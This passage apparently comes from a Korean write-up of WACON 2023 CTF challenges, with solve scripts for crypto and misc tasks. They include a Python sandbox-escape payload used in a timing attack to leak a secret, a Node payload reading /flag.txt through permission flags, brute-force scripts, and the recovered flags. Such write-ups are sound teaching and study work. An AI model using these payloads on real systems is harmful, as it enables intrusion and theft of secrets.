    0 : [2,4,8],
    1 : [2,4,7],
    2 : [2,3,10],
    3 : [2,3,9],
    4 : [1,6,12],
    5 : [1,6,11],
    6 : [1,5,14],
    7 : [1,5,13]
}

with open('pss_data', 'rb') as f:
    data = f.read()

clen = 5 * 3 + 1 + 8
print(len(data) >> 17)
assert len(data) == (2 ** 17) * clen

dics = [dict(), dict()]
for i in range(2 ** 17):
    chunk = data[clen * i:clen * (i + 1)]

    if chunk[15] < 4:
        dics[1][chunk[:5]] = i
    else:
        dics[0][chunk[:5]] = i

for seed in tqdm(itertools.product(range(256), repeat=5), total=256**5):
    seed = bytes(seed)
    seed_len = 5

    h = cascade_hash(seed, 123, 2 * 5)

    idx = None
    if h[:5] in dics[0]:
        idx = dics[0][h[:5]]
    elif h[5:] in dics[1]:
        idx = dics[1][h[5:]]

    if idx is None:
        continue

    chunk = data[clen * idx:clen * (idx + 1)]
    seed_tree = [None] * (2*N - 1)
    seed_tree[0] = seed
    for i in range(N-1):
        h = cascade_hash(seed_tree[i], 123, 2 * seed_len)
        seed_tree[2*i+1], seed_tree[2*i+2] = h[:seed_len], h[seed_len:]

    proof_idxs = merkle_proof_indexes[chunk[15]]
    to_check = seed_tree[proof_idxs[0]] + \
        seed_tree[proof_idxs[1]] + \
        seed_tree[proof_idxs[2]]

    if to_check == chunk[:15]:
        master_seed = seed
        perm = chunk[-8:].hex()
        break
    
print(master_seed)
print(perm)

def recover(master_seed, perm):
    seed_len = 5
    seed_tree = [None] * (2*N - 1)
    seed_tree[0] = master_seed
    for i in range(N-1):
        h = cascade_hash(seed_tree[i], 123, 2 * seed_len)
        seed_tree[2*i+1], seed_tree[2*i+2] = h[:seed_len], h[seed_len:]
    
    secret_list = list(perm)
    for i in reversed(range(N)):
        permutation = seed_to_permutation(seed_tree[i + N - 1])
        secret_list = [permutation[int(x, 16)] for x in secret_list]

    permutated_secret = ''.join(secret_list)
    return permutated_secret

def verify(master_seed, secret):
    seed_len = 5
    seed_tree = [None] * (2*N - 1)
    seed_tree[0] = master_seed
    for i in range(N-1):
        h = cascade_hash(seed_tree[i], 123, 2 * seed_len)
        seed_tree[2*i+1], seed_tree[2*i+2] = h[:seed_len], h[seed_len:]
    
    secret_list = list(secret) # ex) ['0','1','2','3',...]
    for i in range(N):
        # i-th party has a permutation derived from seed_tree[i+N-1]
        permutation = seed_to_permutation(seed_tree[i + N - 1])
        secret_list = [hex(permutation.find(x))[2:] for x in secret_list]

    permutated_secret = ''.join(secret_list)
    return permutated_secret

secret = recover(master_seed, perm)
print(secret)
print(verify(master_seed, secret))
print(perm)

secret = secret.encode()
flag = b"WACON2023{" + secret + b'}'

assert len(secret) == 16 and set(secret) == set(b"0123456789abcdef")
# You can bruteforce the secret directly if you can overcome ^^^O(0xbeeeef * 16!)^^^!!!
assert cascade_hash(flag, 0xbeeeef, 32).hex() == 'f7a5108a576391671fe3231040777e9ac455d1bb8b84a16b09be1b2bac68345c'
```

플래그는 `WACON2023{2d4b7a9c085316ef}`입니다.

## Crypto - White arts

```python=
from pwn import *

r = remote('175.118.127.63', 2821)

# context.log_level = 'debug'

def send_query(inp, inverse):
    r.sendlineafter(b'q? > ', inp.hex().encode())
    r.sendlineafter(b'(y/n)? > ', inverse.encode())
    return bytes.fromhex(r.recvline().strip().decode())

# Generator1
Q1, Q2 = b'\x00' * 16, b'\x01' + b'\x00' * 15
r.sendlineafter(b'Generator1? > ', b'1')
for _ in range(40):
    a1 = send_query(Q1, 'n')
    if a1[:8] == b'\x00' * 8:
        r.sendlineafter(b'mode? > ', b'0')
    else:
        r.sendlineafter(b'mode? > ', b'1')

# Generator2
r.sendlineafter(b'Generator2? > ', b'2')
for _ in range(40):
    a1 = send_query(Q1, 'n')
    a2 = send_query(Q2, 'n')
    if a1[1:8] == a2[1:8]:
        r.sendlineafter(b'mode? > ', b'0')
    else:
        r.sendlineafter(b'mode? > ', b'1')

# Generator3
A, B = b'\x00' * 8, b'\x11' * 8
r.sendlineafter(b'Generator3? > ', b'2')
for _ in range(40):
    a1 = send_query(A + B, 'n')
    a2 = send_query(B + A, 'y')
    if a1[:8] == a2[8:]:
        r.sendlineafter(b'mode? > ', b'0')
    else:
        r.sendlineafter(b'mode? > ', b'1')

print(r.readline())

# Generator4
BASE = b'\x00' * 16
r.sendlineafter(b'Generator4? > ', b'4')
for _ in range(40):
    # f(f(0))
    res1 = send_query(BASE, 'n')
    
    # f(f(0) ^ 1) ^ 1
    T = b'\x00' * 7 + b'\x01'
    res2 = send_query(T + T, 'n')

    # f^-1(f(0) ^ 1) ^ 1
    X = xor(res1, T)
    res3 = send_query(X + T, 'y')

    # f( f(f^-1(f(0) ^ 1)) ^ 1) ^ 1 = f(f(0)) ^ 1
    res4 = send_query(res3 + T, 'n')

    if res1[:-1] == res4[:-1]:
        r.sendlineafter(b'mode? > ', b'0')
    else:
        r.sendlineafter(b'mode? > ', b'1')

print("Solved 4")

# Generator5
r.sendlineafter(b'Generator5? > ', b'256')
for _ in range(40):
    s = 0
    for i in range(256):
        res = send_query(bytes([i]), 'n')
        s ^= res[0]

    if s == 0:
        r.sendlineafter(b'mode? > ', b'0')
    else:
        r.sendlineafter(b'mode? > ', b'1')

r.interactive()
```

## Misc - Let me win

전형적인 Integer programming 문제. Scipy의 MILP를 사용했다.

```python=
import requests
import re
from urllib.parse import quote

with open('team_list.txt', 'r') as f:
    teams = f.read().split('\n')

regex = re.compile(r"Chal-[0-9]{2}")
counter = [0 for _ in range(100)]
team_solved = []

for team in teams:
    r = requests.get("http://175.118.127.123:5000/team/" + quote(team))
    arr = []
    for chal in regex.findall(r.text):
        chal = int(chal[-2:])
        counter[chal] += 1
        arr.append(chal)
    team_solved.append(arr)
    
from scipy.optimize import milp, Bounds, LinearConstraint
import numpy as np

c = np.array([1] * 61)
integrality = np.array([1] * 61)
bounds = Bounds(lb=1, ub=999999999)# for _ in range(61)]

const_coef = []
const_low = []
const_high = []

# inp_i > inp_{i+1}
for i in range(60):
    coef = [0] * i + [1, -1] + [0] * (59 - i)
    const_coef.append(coef)
    const_low.append(1)
    const_high.append(np.inf)

prev = None
for i in range(61):
    arr = team_solved[i]
    row = [0 for _ in range(61)]
    for chal in arr:
        row[counter[chal] - 1] += 1
    # print(row)
    if prev is not None:
        # score_{i-1} > score_i
        coef = [ x - y for x, y in zip(prev, row) ]
        const_coef.append(coef)
        const_low.append(1 if teams[i - 1] > teams[i] else 0)
        const_high.append(np.inf)    
    prev = row

constraints = LinearConstraint(np.array(const_coef), np.array(const_low), np.array(const_high))

res = milp(c, integrality=integrality, bounds=bounds, constraints=constraints)
print(res)
```

## Misc - mic check

robots.txt를 읽어보면 다음을 확인할 수 있다.

```
User-agent: *
allow: /W/A/C/O/N/2/
```

`/W/A/C/O/N/2` 에 대해서 status code 200이 반환되는 것을 확인할 수 있다. 이를 바탕으로 brute-force한다

```python
import requests

flag = "WACON2023{"

while True:
    for ch in "0123456789abcdef":
        res = requests.get('http://58.225.56.196:5000/' + '/'.join(flag + ch))

        if res.status_code == 200:
            flag += ch
            print(flag)
            break
```

## Misc - ScavengerHunt

Use timing attack

```python=
from pwn import *
from time import time
from string import printable

context.log_level = "warning"

def oracle(ix, char):
    r = remote("1.234.10.246", 55555)
    r.recvline()
    start = time()
    r.sendline(f'''b.sum(i for i in b.range(100000000)) if (b:=''.__class__.__base__.__subclasses__()[107].load_module("builtins")).list(b.vars(b.__import__("secret")).values())[-1][{ix}] == "{char}" else 1'''.encode())
    r.recvall()
    stop = time()
    r.close()
    return (stop - start)

known = "WACON2023{"

for ix in range(len(known), 100):
    for c in printable.rstrip():
        if (o:=oracle(ix, c)) > 3:
            known += c
            break
        print(o, c)
    print(known)
```

## Misc - Web?

Run with `--allow-fs-read=/flag*,/app/eval*` to ignore the regex config.

```
{
  "expr":"fs.readFileSync(`/flag.txt`).toString()",
  "opt":"--allow-fs-read=/flag*,/app/eval*"
}
```